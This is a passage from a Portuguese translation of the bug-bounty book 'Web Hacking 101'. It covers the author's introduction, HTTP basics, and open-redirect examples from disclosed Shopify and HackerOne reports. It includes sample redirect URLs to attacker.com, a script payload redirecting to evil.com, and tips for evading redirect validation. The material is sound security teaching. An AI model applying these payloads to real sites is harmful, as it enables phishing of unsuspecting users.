Security. Felizmente para mim, estava apenas começando (em fevereiro de 2016, está listado como Em breve) e me
inscrevi.
Depois de algumas palestras, finalmente entendi o que era um estouro de buffer e como ele era explorado. Eu compreendi
perfeitamente como as injeções de SQL eram alcançadas, enquanto antes eu só conhecia o perigo. Em suma, eu estava
viciado. Até este ponto, sempre abordei a segurança da web
Introdução 4
da perspectiva do desenvolvedor, apreciando a necessidade de limpar valores e evitar o uso direto da entrada
do usuário. Agora eu estava começando a entender como tudo parecia do ponto de vista de um hacker.
Continuei procurando mais informações sobre como hackear e encontrei os fóruns do Bugcrowd.
Infelizmente, eles não estavam muito ativos na época, mas alguém mencionou a atividade hacker do
HackerOne e vinculou a um relatório. Seguindo o link, fiquei maravilhado. Eu estava lendo a descrição de
uma vulnerabilidade, escrita para uma empresa, que a divulgou para o mundo. Talvez mais importante, a
empresa realmente pagou o hacker para encontrar e relatar isso!
Isso foi um ponto de virada, fiquei obcecado. Especialmente quando uma empresa canadense local, Shopify,
parecia estar liderando o grupo em divulgações na época. Verificando o perfil do Shopify, sua lista de
divulgação estava repleta de relatórios abertos. Eu não conseguia ler o suficiente deles. As vulnerabilidades
incluíam Cross-Site Scripting, Authentication e Cross-Site Request Forgery, só para citar alguns.
É certo que, nesta fase, eu estava lutando para entender o que os relatórios estavam detalhando.
Algumas das vulnerabilidades e métodos de exploração eram difíceis de entender.
Pesquisando no Google para tentar entender um relatório específico, terminei em um tópico do problema do
GitHub para uma antiga vulnerabilidade de parâmetro fraco padrão do Ruby on Rails (isso é detalhado no
capítulo Lógica do aplicativo) relatada por Egor Homakov. O acompanhamento de Egor me levou ao seu blog,
que inclui divulgações de algumas vulnerabilidades seriamente complexas.
Lendo sobre suas experiências, percebi que o mundo dos hackers pode se beneficiar de explicações em
linguagem simples das vulnerabilidades do mundo real. E aconteceu que eu aprendo melhor ao ensinar os
outros.
E assim nasceu o Web Hacking 101.
Apenas 30 exemplos e minha primeira venda
Decidi começar com um objetivo simples: encontrar e explicar 30 vulnerabilidades da web em linguagem
simples e fácil de entender.
Achei que, na pior das hipóteses, pesquisar e escrever sobre vulnerabilidades me ajudaria a aprender sobre
hacking. Na melhor das hipóteses, venderia um milhão de cópias, me tornaria um guru da autopublicação e
me aposentaria cedo. O último ainda não aconteceu e, às vezes, o primeiro parece interminável.
Por volta das 15 vulnerabilidades explicadas, decidi publicar meu rascunho para que pudesse ser comprado
- a plataforma que escolhi, LeanPub (que a maioria provavelmente já comprou), permite publicar iterativamente,
fornecendo aos clientes acesso a todas as atualizações. Enviei um tweet agradecendo ao HackerOne e ao
Shopify por suas divulgações e para contar ao mundo sobre meu livro. Eu não esperava muito.
Introdução 5
Mas em poucas horas, fiz minha primeira venda.
Exultante com a ideia de alguém realmente pagar pelo meu livro (algo que criei e no qual estava me esforçando
muito!), Entrei no LeanPub para ver o que poderia descobrir sobre o comprador misterioso. Acontece que nada.
Mas então meu telefone vibrou, recebi um tweet de Michiel Prins dizendo que gostou do livro e pediu para ser
informado.
Quem diabos é Michiel Prins? Eu verifiquei seu perfil no Twitter e descobri que ele é um dos co-fundadores do
HackerOne. Merda. Parte de mim pensou que o HackerOne não ficaria impressionado com a minha confiança
em seu site para conteúdo. Tentei me manter positivo, Michiel parecia solidário e pediu para ser mantido
informado, provavelmente inofensivo.
Não muito depois da minha primeira venda, recebi uma segunda venda e percebi que estava no caminho certo.
Coincidentemente, na mesma época, recebi uma notificação do Quora sobre uma pergunta que provavelmente
me interessaria: como me tornar um caçador de recompensas de sucesso?
Dada a minha experiência inicial, sabendo como era estar no mesmo lugar e com o objetivo egoísta de querer
promover meu livro, pensei em escrever uma resposta.
Na metade do caminho, percebi que a única outra resposta foi escrita por Jobert Abma, um dos outros co-
fundadores do HackerOne. Uma voz bastante autoritária sobre hacking. Merda.
Pensei em abandonar minha resposta, mas decidi reescrevê-la para aproveitar sua opinião, já que não podia
competir com seu conselho. Cliquei em enviar e não pensei em nada. Mas então recebi um e-mail interessante:
Olá, Peter, vi sua resposta no Quora e vi que você está escrevendo um livro sobre hackers de
chapéu branco. Adoraria saber mais.
Atenciosamente,
Marten CEO, HackerOne
Merda Tripla. Muitas coisas passaram pela minha cabeça neste momento, nenhuma das quais era positiva e
quase todas eram irracionais. Resumindo, imaginei que o único motivo pelo qual Marten me enviaria um e-mail
era para bater o martelo no meu livro. Felizmente, isso não poderia estar mais longe da verdade.
Respondi a ele explicando quem eu era e o que estava fazendo - que estava tentando aprender a hackear e
ajudar os outros a aprender junto comigo. Acontece que ele era um grande fã da ideia.
Ele explicou que o HackerOne está interessado em aumentar a comunidade e apoiar os hackers enquanto eles
aprendem, pois é mutuamente benéfico para todos os envolvidos. Em suma, ele se ofereceu para ajudar. E
cara, ele já. Este livro provavelmente não estaria onde está hoje ou incluiria metade do conteúdo sem o
constante apoio e motivação dele e do HackerOne.
Desde aquele e-mail inicial, continuei escrevendo e Marten continuou checando. Michiel e Jobert revisaram
rascunhos, forneceram sugestões e até contribuíram com algumas seções. Marta mesmo
Introdução 6
foi além para cobrir os custos de uma capa projetada profissionalmente (adeus capa amarela simples
com um chapéu de bruxa branco, que parecia ter sido desenhado por uma criança de quatro anos). Em
maio de 2016, Adam Bacchus se juntou ao HackerOne e em seu 5º dia de trabalho lá, ele leu o livro, fez
edições e explicou como era receber relatórios de vulnerabilidade - algo que agora incluí na redação do
relatório capítulo.
Menciono tudo isso porque, ao longo dessa jornada, o HackerOne nunca pediu nada em troca. Eles só
queriam apoiar a comunidade e viram que este livro era uma boa maneira de fazer isso. Como alguém
novo na comunidade de hackers, isso ressoou em mim e espero que ressoe em você também.
Pessoalmente, prefiro fazer parte de uma comunidade solidária e inclusiva.
Assim, desde então, este livro se expandiu dramaticamente, muito além do que inicialmente imaginei. E
com isso, o público-alvo também mudou.
Para quem este livro foi escrito
Este livro foi escrito pensando nos novos hackers. Não importa se você é um desenvolvedor web, web
designer, dona de casa, uma criança de 10 ou 75 anos. Eu quero que este livro seja uma referência
confiável para entender os diferentes tipos de vulnerabilidades, como encontrá-los, como denunciá-los,
como receber o pagamento e até mesmo como escrever código defensivo.
Dito isso, não escrevi este livro para pregar às massas. Este é realmente um livro sobre aprender juntos.
Como tal, compartilho sucessos E alguns de meus notáveis (e embaraçosos) fracassos.
O livro também não deve ser lido de capa a capa, se houver uma seção específica na qual você esteja
interessado, leia-a primeiro. Em alguns casos, faço referência às seções discutidas anteriormente, mas,
ao fazer isso, tento conectar as seções para que você possa virar para frente e para trás. Quero que este
livro seja algo que você mantenha aberto enquanto hackeia.
Nessa nota, cada capítulo de tipo de vulnerabilidade é estruturado da mesma maneira:
• Comece com uma descrição do tipo de vulnerabilidade; •

Analisar exemplos da vulnerabilidade; e, • Conclua com um
resumo.
Da mesma forma, cada exemplo desses capítulos é estruturado da mesma maneira e inclui:
• Minha estimativa da dificuldade em encontrar a vulnerabilidade •

A url associada ao local onde a vulnerabilidade foi encontrada • Um link
para o relatório ou redação
Introdução 7
• A data em que a vulnerabilidade foi relatada • O

valor pago pelo relatório • Uma descrição fácil de
entender da vulnerabilidade • Lições que você pode aplicar em seus
próprios esforços
Por fim, embora não seja um pré-requisito para hacking, provavelmente é uma boa ideia ter alguma familiaridade
com HTML, CSS, Javascript e talvez um pouco de programação. Isso não quer dizer que você precisa ser capaz
de montar páginas da web do zero, de cabeça, mas entender a estrutura básica de uma página da web, como
CSS define uma aparência e o que pode ser feito com Javascript. ajudá-lo a descobrir vulnerabilidades e
entender a gravidade de fazê-lo. O conhecimento de programação é útil quando você está procurando
vulnerabilidades de lógica de aplicativo. Se você puder se colocar no lugar do programador para adivinhar como
ele pode ter implementado algo ou ler seu código se estiver disponível, você estará à frente no jogo.
Para isso, recomendo conferir os cursos online gratuitos da Udacity Intro to HTML and CSS and Javacript
Basics, links para os quais incluí no capítulo Recursos. Se você não está familiarizado com a Udacity, sua
missão é trazer educação superior acessível, acessível, envolvente e altamente eficaz para o mundo. Eles
fizeram parceria com empresas como Google, AT&T, Facebook, Salesforce, etc. para criar programas e oferecer
cursos online.
Visão geral do capítulo
O Capítulo 2 é um histórico introdutório de como a Internet funciona, incluindo solicitações e respostas HTTP e
métodos HTTP.
O Capítulo 3 aborda Redirecionamentos Abertos, uma vulnerabilidade interessante que envolve a exploração
de um site para direcionar os usuários a visitar outro site, o que permite que um invasor explore a confiança de
um usuário no site vulnerável.
O Capítulo 4 aborda a Poluição de Parâmetros HTTP e, nele, você aprenderá como encontrar sistemas que
podem ser vulneráveis à transmissão de entradas inseguras para sites de terceiros.
O Capítulo 5 aborda as vulnerabilidades de falsificação de solicitação entre sites, passando por exemplos que
mostram como os usuários podem ser induzidos a enviar informações a um site no qual estão conectados sem
saber.
O Capítulo 6 aborda Injeções de HTML e nele você aprenderá como a capacidade de injetar HTML em uma
página da Web pode ser usada de forma maliciosa. Uma das conclusões mais interessantes é como você pode
usar valores codificados para induzir os sites a aceitar e renderizar o HTML que você enviar, ignorando os filtros.
O Capítulo 7 aborda as injeções de feed de linha de retorno de carro e nele, examinando exemplos de envio
de retorno de carro, quebras de linha para sites e o impacto que isso tem no conteúdo renderizado.
Introdução 8
O Capítulo 8 aborda Cross-Site Scripting, um tópico enorme com uma enorme variedade de maneiras de
obter explorações. Cross-Site Scripting representa grandes oportunidades e um livro inteiro poderia e
provavelmente deveria ser escrito exclusivamente sobre ele. Há uma tonelada de exemplos que eu poderia
ter incluído aqui, então tento me concentrar nos mais interessantes e úteis para o aprendizado.
O Capítulo 9 aborda a injeção de modelo no lado do servidor, bem como as injeções no lado do cliente.
Esses tipos de vulnerabilidades aproveitam os desenvolvedores que injetam a entrada do usuário diretamente
nos modelos quando enviados usando a sintaxe do modelo. O impacto dessas vulnerabilidades depende de
onde elas ocorrem, mas geralmente podem levar a execuções remotas de código.
O Capítulo 10 aborda as injeções de linguagem de consulta estruturada (SQL), que envolvem a manipulação
de consultas de banco de dados para extrair, atualizar ou excluir informações de um site.
O Capítulo 11 aborda a falsificação de solicitação do lado do servidor, que permite que um invasor use um
servidor remoto para fazer solicitações HTTP subsequentes em nome do invasor.
O Capítulo 12 aborda as vulnerabilidades de Entidade Externa XML resultantes da análise de sites de

linguagem de marcação extensível (XML). Esses tipos de vulnerabilidades podem incluir coisas como leitura
de arquivos privados, execução remota de código, etc.
O Capítulo 13 aborda a Execução Remota de Código ou a capacidade de um invasor executar código

arbitrário em um servidor vítima. Esse tipo de vulnerabilidade está entre os mais perigosos, pois um invasor
pode controlar qual código é executado e geralmente é recompensado como tal.
O Capítulo 14 aborda as vulnerabilidades relacionadas à memória, um tipo de vulnerabilidade que pode ser
difícil de encontrar e geralmente está relacionada a linguagens de programação de baixo nível. No entanto,
descobrir esses tipos de bugs pode levar a algumas vulnerabilidades bastante sérias.
O capítulo 15 aborda as aquisições de subdomínios, algo que aprendi muito ao pesquisar neste livro e deve
ser amplamente creditado a Mathias, Frans e à equipe Dectectify.
Essencialmente aqui, um site se refere a um subdomínio que hospeda um serviço de terceiros, mas nunca
reivindica o endereço apropriado desse serviço. Isso permitiria que um invasor registrasse o endereço de
terceiros para que todo o tráfego, que acreditasse estar no domínio da vítima, estivesse realmente no
domínio de um invasor.
O Capítulo 16 aborda as condições de corrida, uma vulnerabilidade que envolve dois ou mais processos
executando ações com base em condições que devem permitir a ocorrência de apenas uma ação. Por
exemplo, pense em transferências bancárias, você não deve conseguir realizar duas transferências de $ 500
quando seu saldo é de apenas $ 500. No entanto, uma vulnerabilidade de condição de corrida pode permitir isso.
O Capítulo 17 aborda as vulnerabilidades de Referência Direta Insegura de Objeto, por meio das quais um
invasor pode ler ou atualizar objeções (registros de banco de dados, arquivos, etc.) para as quais não
deveria ter permissão.
O Capítulo 18 aborda as vulnerabilidades baseadas na lógica do aplicativo. Este capítulo se tornou uma
coleção de vulnerabilidades que considero ligadas a falhas de lógica de programação. Descobri que esses
tipos de vulnerabilidade podem ser mais fáceis para um iniciante encontrar, em vez de procurar maneiras
estranhas e criativas de enviar informações maliciosas a um site.
Introdução 9
O Capítulo 19 cobre o tópico de como começar. Este capítulo destina-se a ajudá-lo a considerar
onde e como procurar vulnerabilidades em vez de um guia passo a passo para hackear um site. É
baseado na minha experiência e em como abordo os sites.
O Capítulo 20 é indiscutivelmente um dos capítulos de livro mais importantes, pois fornece conselhos
sobre como escrever um relatório eficaz. Todo o hacking do mundo não significa nada se você não
puder relatar o problema adequadamente à empresa necessária. Como tal, vasculhei algumas
grandes empresas que pagam recompensas por seus conselhos sobre a melhor forma de relatar e
obtive conselhos do HackerOne. Certifique-se de prestar muita atenção aqui.
O capítulo 21 muda de marcha. Aqui, mergulhamos nas ferramentas de hacking recomendadas. O

rascunho inicial deste capítulo foi doado por Michiel Prins da HackerOne. Desde então, tornou-se
uma lista viva de ferramentas úteis que encontrei e usei.
O Capítulo 22 é dedicado a ajudá-lo a levar seu hacking para o próximo nível. Aqui, eu o guio por
alguns recursos incríveis para continuar aprendendo. Novamente, correndo o risco de soar como um
disco quebrado, muito obrigado a Michiel Prins por contribuir com a lista original que iniciou este
capítulo.
O Capítulo 23 conclui o livro e aborda alguns termos-chave que você deve conhecer ao hackear.
Enquanto a maioria é discutida em outros capítulos, alguns não são, então eu recomendo dar uma
lida aqui.
Palavra de Advertência e um Favor
Antes de partir para o incrível mundo do hacking, quero esclarecer uma coisa. Enquanto eu aprendia,
lia sobre divulgações públicas, via todo o dinheiro que as pessoas estavam (e ainda estão) ganhando,
tornou-se fácil glamorizar o processo e considerá-lo uma maneira fácil de enriquecer rapidamente.
Não é. Hackear pode ser extremamente gratificante, mas é difícil encontrar e ler sobre as falhas ao
longo do caminho (exceto aqui, onde compartilho algumas histórias bastante embaraçosas). Como
resultado, como você ouvirá principalmente sobre o sucesso das pessoas, poderá desenvolver
expectativas irrealistas de sucesso. E talvez você tenha sucesso rapidamente. Mas se não estiver,
continue trabalhando! Vai ficar mais fácil e é uma sensação ótima ter uma denúncia resolvida.
Com isso, tenho um favor a pedir. Enquanto você lê, envie-me uma mensagem no Twitter @yaworsk
e deixe-me saber como está indo. Se bem ou mal sucedido, eu gostaria de ouvir de você. A caça de
insetos pode ser um trabalho solitário se você estiver lutando, mas também é incrível comemorar um
com o outro. E talvez o seu achado seja algo que possamos incluir na próxima edição.
Boa sorte!!
3. Plano de fundo
Se você está começando do zero como eu e este livro está entre seus primeiros passos no mundo
do hacking, será importante que você entenda como a internet funciona.
Antes de virar a página, o que quero dizer é como a URL que você digita na barra de endereços é
mapeada para um domínio, que é resolvido para um endereço IP, etc.
Para resumir em uma frase: a internet é um monte de sistemas conectados e trocando mensagens.
Alguns só aceitam certos tipos de mensagens, outros só permitem mensagens de um conjunto
limitado de outros sistemas, mas todo sistema na internet recebe um endereço para que as pessoas
possam enviar mensagens para ele. Cabe então a cada sistema determinar o que fazer com a
mensagem e como deseja responder.
Para definir a estrutura dessas mensagens, as pessoas documentaram como alguns desses
sistemas devem se comunicar em Requests for Comments (RFC). Como exemplo, dê uma olhada
no HTTP. HTTP define o protocolo de como seu navegador de internet se comunica com um
servidor web. Como seu navegador de Internet e servidor da Web concordaram em implementar o
mesmo protocolo, eles podem se comunicar.
Quando você digita http://www.google.com na barra de endereços do navegador e pressiona Enter,

as etapas a seguir descrevem o que acontece em alto nível:
• Seu navegador extrai o nome de domínio do URL, www.google.com. • Seu

computador envia uma solicitação de DNS para os servidores DNS configurados do seu computador.
O DNS pode ajudar a resolver um nome de domínio para um endereço IP; nesse caso, resolve
para 216.58.201.228. Dica: você pode usar dig A www.google.com do seu terminal para
procurar endereços IP de um domínio. • Seu computador tenta configurar uma conexão TCP
com o endereço IP na porta 80, que é usada para o tráfego HTTP. Dica: você pode configurar
uma conexão TCP executando nc 216.58.201.228 80 no seu terminal. • Se for bem-sucedido,
seu navegador enviará uma solicitação HTTP como:
GET / HTTP/1.1
Host: www.google.com
Conexão: keep-alive
Aceitar: application/html, */*
• Agora ele irá aguardar uma resposta do servidor, que será algo como:
11
Fundo
HTTP/1.1 200 OK
Tipo de conteúdo: texto/html
<html>
<head>
<title>Google.com</title>
</cabeça>
<corpo>
...
</body>
</html>
• Seu navegador analisará e renderizará o HTML, CSS e JavaScript retornados. Nesse caso, a
página inicial do Google.com será exibida em sua tela.
Agora, tratando-se especificamente do navegador, da internet e do HTML, conforme mencionado

anteriormente, existe um acordo sobre como essas mensagens serão enviadas, incluindo os métodos
específicos utilizados e a exigência de um cabeçalho de solicitação do Host para todas as solicitações
HTTP/1.1 , conforme observado acima no marcador 4. Os métodos definidos incluem GET, HEAD,
POST, PUT, DELETE, TRACE, CONNECT e OPTIONS.
O método GET significa recuperar qualquer informação identificada pela solicitação Uniform Request
Identifier (URI). O termo URI pode ser confuso, especialmente devido à referência a um URL acima, mas
essencialmente, para os propósitos deste livro, apenas saiba que um URL é como o endereço de uma
pessoa e é um tipo de URI que é como o nome de uma pessoa (obrigado Wikipédia). Embora não haja
polícia HTTP, normalmente as solicitações GET não devem ser associadas a nenhuma função de
alteração de dados, elas devem apenas recuperar e fornecer dados.
O método HEAD é idêntico à mensagem GET, exceto que o servidor não deve retornar um corpo de
mensagem na resposta. Normalmente, você não verá isso com frequência, mas aparentemente é
frequentemente empregado para testar links de hipertexto quanto à validade, acessibilidade e alterações recentes.
O método POST é usado para invocar alguma função a ser executada pelo servidor, conforme
determinado pelo servidor. Em outras palavras, normalmente haverá algum tipo de ação de back-end
executada, como criar um comentário, registrar um usuário, excluir uma conta, etc.
A ação executada pelo servidor em resposta ao POST pode variar e não precisa resultar na execução
de uma ação. Por exemplo, se ocorrer um erro ao processar a solicitação.
O método PUT é usado ao invocar alguma função, mas referindo-se a uma entidade já existente. Por
exemplo, ao atualizar sua conta, atualizar uma postagem de blog, etc. Novamente, a ação executada
pode variar e pode fazer com que o servidor não execute nenhuma ação.
O método DELETE é exatamente o que parece, é usado para invocar uma solicitação para o servidor
remoto excluir um recurso identificado pelo URI.
12
Fundo
O método TRACE é outro método incomum, desta vez usado para refletir a mensagem de solicitação
para o solicitante. Isso permite que o solicitante veja o que está sendo recebido pelo servidor e use
essas informações para testes e informações de diagnóstico.
O método CONNECT é realmente reservado para uso com um proxy (um proxy é basicamente um
servidor que encaminha solicitações para outros servidores)
O método OPTIONS é usado para solicitar informações de um servidor sobre as opções de

comunicação disponíveis. Por exemplo, chamar OPTIONS pode indicar que o servidor aceita chamadas
GET, POST, PUT, DELETE e OPTIONS, mas não HEAD ou TRACE.
Agora, munidos de uma compreensão básica de como a internet funciona, podemos mergulhar nos
diferentes tipos de vulnerabilidades que podem ser encontrados nela.
4. Vulnerabilidades de redirecionamento aberto
Descrição
Uma vulnerabilidade de redirecionamento aberto ocorre quando uma vítima visita um determinado URL
para um determinado site e esse site instrui o navegador da vítima a visitar um URL completamente
diferente, em um domínio separado. Por exemplo, suponha que o Google tenha utilizado o seguinte URL
para redirecionar os usuários para o Gmail:
https://www.google.com?redirect_to=https://www.gmail.com
Ao visitar esse URL, o Google receberia uma solicitação GET HTTP e usaria o valor do parâmetro
redirect_to para determinar para onde o navegador do visitante deveria ser redirecionado. Depois de fazer
isso, o Google retornaria uma resposta HTTP 302, instruindo o navegador do usuário a fazer uma
solicitação GET para https://www.gmail.com, o valor do parâmetro redirect_to. Agora, suponha que
mudamos o URL original para:
https://www.google.com?redirect_to=https://www.attacker.com
Se o Google não validasse que o parâmetro redirect_to era para um de seus próprios sites legítimos para
onde pretendia enviar visitantes (https://www.gmail.com em nosso exemplo), isso poderia ser vulnerável a
um redirecionamento aberto e retorno uma resposta HTTP instruindo o navegador do visitante a fazer uma
solicitação GET para https://www.attacker.com.
O Open Web Application Security Project (OWASP), que é uma comunidade dedicada à segurança de
aplicativos que organiza uma lista das falhas de segurança mais críticas em aplicativos da Web, listou essa
vulnerabilidade em sua lista das dez principais vulnerabilidades de 2013. Os redirecionamentos abertos
exploram a confiança de um determinado domínio, https://www.google.com/ em nosso exemplo, para atrair
as vítimas para um site malicioso. Isso pode ser usado em ataques de phishing para induzir os usuários a
acreditar que estão enviando informações para o site confiável, quando na verdade suas informações
valiosas estão indo para um site malicioso. Isso também permite que os invasores distribuam malware do
site malicioso ou roubem tokens OAuth (um tópico que abordaremos em um capítulo posterior).
Ao pesquisar esses tipos de vulnerabilidades, você está procurando por uma solicitação GET enviada ao
site que está testando, com um parâmetro especificando uma URL para a qual redirecionar.
Vulnerabilidades de redirecionamento aberto

14
Exemplos
1. Redirecionamento aberto da instalação do tema Shopify
Dificuldade: Baixa
URL: app.shopify.com/services/google/themes/preview/supply–blue?domain_name=XX Link do relatório: https://
hackerone.com/reports/1019621
Data do relatório: 25 de novembro de 2015
Recompensa paga: $ 500
Descrição:
Nosso primeiro exemplo de redirecionamento aberto foi encontrado no Shopify, uma solução de comércio eletrônico
que permite aos usuários configurar uma loja online para vender mercadorias. A plataforma da Shopify permite que os
administradores personalizem a aparência de suas lojas e uma das maneiras de fazer isso é instalando um novo tema.
Como parte dessa funcionalidade, a Shopify forneceu anteriormente uma prévia do tema por meio de URLs que
incluíam um parâmetro de redirecionamento. O URL de redirecionamento era semelhante ao seguinte, que modifiquei
para facilitar a leitura:
https://app.shopify.com/themes/preview/blue?domain_name=example.com/admin
Parte da URL para visualizar o tema incluía um parâmetro domain_name no final da URL para especificar outra URL
para a qual redirecionar. A Shopify não estava validando o URL de redirecionamento, portanto, o valor do parâmetro
poderia ser explorado para redirecionar uma vítima para http://example.com/admin , onde um invasor mal-intencionado
poderia fazer o phishing do usuário.
Aprendizado
Nem todas as vulnerabilidades são complexas. Esse redirecionamento aberto exigia apenas
a alteração do parâmetro domain_name para um site externo, o que resultaria no
redirecionamento de um usuário para fora do site da Shopify.
2. Redirecionamento aberto de login da Shopify
Dificuldade: Média Url:
http://mystore.myshopify.com/account/login Link do relatório:
https://hackerone.com/reports/1037722
1https://hackerone.com/reports/101962
Vulnerabilidades de redirecionamento aberto 15
Data do relatório: 6 de dezembro de 2015
Descrição:
Esse redirecionamento aberto é semelhante ao primeiro exemplo da Shopify, exceto aqui, o parâmetro
da Shopify não está redirecionando o usuário para o domínio especificado pelo parâmetro de URL, mas
adiciona o valor do parâmetro ao final de um subdomínio da Shopify. Normalmente, isso seria usado
para redirecionar um usuário para uma página específica em uma determinada loja. Depois que o
usuário faz login na Shopify, a Shopify usa o parâmetro checkout_url para redirecionar o usuário. Por
exemplo, se uma vítima visitou:
http://mystore.myshopify.com/account/login?checkout_url=.attacker.com
eles teriam sido redirecionados para a URL:
http://mystore.myshopify.com.attacker.com
que na verdade não é mais um domínio da Shopify porque termina em .attacker.com. As pesquisas de
DNS usam o rótulo de domínio mais à direita, .attacker.com neste exemplo. Então quando:
http://mystore.myshopify.com.attacker.com
for enviado para pesquisa de DNS, ele corresponderá a attacker.com, que não é de propriedade da
Shopify, e não a myshopify.com, como a Shopify pretendia.
Como a Shopify estava combinando a URL da loja, neste caso http://mystore.myshopify.com, com o
parâmetro checkout_url, um invasor não poderia enviar uma vítima para qualquer lugar livremente. Mas
o invasor pode enviar um usuário para outro domínio, desde que garanta que o URL de redirecionamento
tenha o mesmo subdomínio.
Aprendizado
Os parâmetros de redirecionamento nem sempre podem ser rotulados de forma óbvia, pois os
parâmetros serão nomeados de maneira diferente de site para site ou até mesmo dentro de um site. Em
alguns casos, você pode até descobrir que os parâmetros são rotulados com apenas caracteres únicos,
como r= ou u=. Ao procurar redirecionamentos abertos, fique atento aos parâmetros de URL que incluem
as palavras URL, redirecionamento, próximo e assim por diante. que pode denotar caminhos para os
quais os sites direcionarão os usuários.
Além disso, se você puder controlar apenas uma parte da URL final retornada pelo site, por exemplo,
apenas o valor do parâmetro checkout_url e observar que o parâmetro está sendo combinado com uma
URL codificada no back-end do site, como o URL da loja http://mystore.myshopify.com, tente adicionar
caracteres de URL especiais como um ponto ou @ para alterar o significado do URL e redirecionar um
usuário para outro domínio.
3. Redirecionamento intersticial do HackerOne
Dificuldade: Média
URL: N/A
Link do relatório: https://hackerone.com/reports/1119683
Data do relatório: 20 de janeiro de 2016
Descrição:
Uma página da web intersticial é aquela que é exibida antes do conteúdo esperado. Usar um é um
método comum para se proteger contra vulnerabilidades de redirecionamento aberto, pois sempre que
você redirecionar um usuário para um URL, você pode mostrar uma página da Web intersticial com
uma mensagem explicando ao usuário que ele está deixando o domínio em que está. Dessa forma, se
a página de redirecionamento mostrar um login falso ou tentar fingir ser o domínio confiável, o usuário
saberá que está sendo redirecionado. Essa é a abordagem que o HackerOne adota ao seguir a maioria
das URLs de seu site, por exemplo, ao seguir links em relatórios enviados. Embora páginas da Web
intersticiais sejam usadas para evitar vulnerabilidades de redirecionamento, complicações na forma
como os sites interagem uns com os outros ainda podem levar a links comprometidos.
O HackerOne usa o Zendesk, um sistema de tíquetes de atendimento ao cliente, para seu subdomínio
de suporte. Quando hackerone.com era seguido por /zendesk_session, os usuários eram direcionados
da plataforma do HackerOne para a plataforma Zendesk do HackerOne sem uma página intersticial
porque o HackerOne confiava em URLs contendo hackerone.com. Além disso, o Zendesk permitia que
os usuários redirecionassem para outras contas do Zendesk por meio do parâmetro /redirect_to_account?
state= sem um intersticial.
Portanto, com relação a este relatório, Mahmoud Jamal criou uma conta no Zendesk com o subdomínio
http://compayn.zendesk.com e adicionou o seguinte código Javascript ao arquivo de cabeçalho com o
editor de temas Zendesk que permite aos administradores personalizar seus A aparência do site do
Zendesk:
<script>document.location.href = "http://evil.com";</script>
Aqui, Mahmoud está usando JavaScript para instruir o navegador a visitar http://evil.com. Embora
mergulhar nas especificidades do JavaScript esteja além do escopo deste livro, a tag <script> é usada
para denotar código em HTML e document refere-se a todo o documento HTML retornado pelo Zendesk,
que é a informação para a página da web. Os pontos e nomes que seguem o documento são suas
propriedades. As propriedades contêm informações e valores que são descritivos do objeto do qual são
propriedades ou podem ser manipulados para alterar o objeto. Portanto, a propriedade location pode
ser usada para controlar a página da Web exibida pelo seu navegador e a subpropriedade href (que é
uma propriedade do local)
redireciona o navegador para o site definido. Portanto, visitar o link a seguir redirecionaria as vítimas para o
subdomínio do Zendesk de Mahmoud, o que faria com que o navegador da vítima executasse o script de
Mahmoud e as redirecionasse para http://evil.com (observe que a URL foi editada para facilitar a leitura):
https://hackerone.com/zendesk_session?return_to=https://support.hackerone.com/ping/redirect?state=compayn:/
Como o link inclui o domínio hackerone.com, a página da Web intersticial não é exibida e o usuário não sabe
que a página que está visitando não é segura. Agora, curiosamente, Mahmoud relatou originalmente esse
problema de redirecionamento ao Zendesk, mas foi desconsiderado e não marcado como uma vulnerabilidade.
Então, naturalmente, ele continuou cavando para ver como isso poderia ser explorado.
Aprendizado
Ao pesquisar vulnerabilidades, observe os serviços que um site usa, pois cada um deles representa
novos vetores de ataque. Aqui, essa vulnerabilidade foi possível graças à combinação do uso do
Zendesk pelo HackerOne e o redirecionamento conhecido que eles permitiam.
Além disso, à medida que você encontra bugs, haverá momentos em que as implicações de segurança
não serão prontamente compreendidas pela pessoa que está lendo e respondendo ao seu relatório.
É por isso que tenho um capítulo sobre Relatórios de Vulnerabilidade que aborda detalhes para incluir
em um relatório, como construir relacionamentos com empresas e outras informações. Se você fizer
um pouco de trabalho antecipadamente e explicar respeitosamente as implicações de segurança em
seu relatório, isso ajudará a garantir uma resolução mais tranquila.
Mas, mesmo assim, haverá momentos em que as empresas não concordam com você.
Se for esse o caso, continue cavando como Mahmoud fez e veja se você pode provar a exploração
ou combiná-la com outra vulnerabilidade para demonstrar a eficácia.
Resumo
Redirecionamentos abertos permitem que um invasor mal-intencionado redirecione pessoas inadvertidamente
para um site malicioso. Encontrá-los, como mostram esses exemplos, muitas vezes requer observação aguçada.
Às vezes, os parâmetros de redirecionamento são fáceis de identificar com nomes como redirect_to=, domain_-
name=, checkout_url= e assim por diante. Considerando que outras vezes eles podem ter nomes menos óbvios
como r=, u= e assim por diante.
Esse tipo de vulnerabilidade depende de abuso de confiança, em que as vítimas são induzidas a visitar o site
de um invasor pensando que visitarão um site que reconhecem. Quando você identificar parâmetros vulneráveis
prováveis, certifique-se de testá-los completamente e adicionar caracteres especiais, como um ponto, se alguma
parte do URL estiver codificada.
Além disso, o redirecionamento intersticial do HackerOne mostra a importância de reconhecer as

ferramentas e serviços que os sites usam enquanto você procura vulnerabilidades e como às vezes
você precisa ser persistente e demonstrar claramente uma vulnerabilidade antes que ela seja
reconhecida e aceita por uma recompensa.
5. Poluição do parâmetro HTTP
Descrição
Poluição de parâmetro HTTP, ou HPP, refere-se à manipulação de como um site trata os parâmetros
que recebe durante solicitações HTTP. A vulnerabilidade ocorre quando os parâmetros são injetados
e confiáveis pelo site vulnerável, levando a um comportamento inesperado. Isso pode acontecer no
back-end, do lado do servidor, onde os servidores do site que você está visitando estão processando
informações invisíveis para você, ou no lado do cliente, onde você pode ver o efeito em seu cliente,
que geralmente é seu navegador.
HPP do lado do servidor
Quando você faz uma solicitação para um site, os servidores do site processam a solicitação e
retornam uma resposta, como vimos no Capítulo 1. Em alguns casos, os servidores não retornam
apenas uma página da Web, mas também executam algum código baseado em informações fornecidas
a ele por meio do URL enviado. Esse código é executado apenas nos servidores, por isso é
basicamente invisível para você — você pode ver as informações que envia e os resultados que
recebe, mas o processo intermediário é uma caixa preta. No HPP do lado do servidor, você envia aos
servidores informações inesperadas na tentativa de fazer com que o código do lado do servidor retorne
resultados inesperados. Como você não pode ver como o código do servidor funciona, o HPP do lado
do servidor depende de você identificar parâmetros potencialmente vulneráveis e experimentá-los.
Um exemplo de HPP do lado do servidor poderia acontecer se seu banco iniciasse transferências por
meio de seu site que fossem processadas em seus servidores aceitando parâmetros de URL. Digamos
que você possa transferir dinheiro preenchendo valores nos três parâmetros de URL de, para e valor,
